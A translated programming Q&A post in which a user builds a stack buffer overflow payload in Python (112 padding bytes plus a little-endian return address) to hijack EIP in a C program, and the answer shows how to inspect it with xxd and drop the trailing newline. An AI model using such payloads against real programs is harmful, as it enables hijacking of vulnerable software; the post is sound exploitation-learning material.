我试图激活缓冲区溢出以便在C代码上执行函数。到目前为止,我已经设法找出接管EBP寄存器的字节数。接下来唯一的事情就是将EIP的地址替换为我想要执行的函数。我正在尝试使用python生成此有效负载。为此,我使用以下
python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
这就是我得到的
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�
注意那些最后的角色!我知道这不是我想要得到的。我希望在EIP
注册表上运行的地址是0804863b
。我必须将其放在little endian
上才能使漏洞正常运行。对此有何评论?由于这个原因,无法进一步利用漏洞利用......
答案 0 :(得分:1)
我不知道你是怎么看待你的attack_payload文件的。但是你不应该只是将它转储到终端或在某个编辑器中查看它 - 因为在这种情况下数据将被解释为字符。相反,您应该对文件执行一些hexdump,例如使用xxd:
$ python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
$ xxd attack_payload
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
...
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000070: 3b86 0408 0a ;....
正如您在最后一行中所看到的,字节\x3b\x86\x04\x08
实际上大部分都在您预期的位置。您可能不希望文件末尾的换行符\x0a
(即\n
),但这是python中print
添加的内容。如果您不希望这样,请不要使用print
但是:
$ python -c 'import sys; sys.stdout.write("A"*112 + "\x3b\x86\x04\x08")' > attack_payload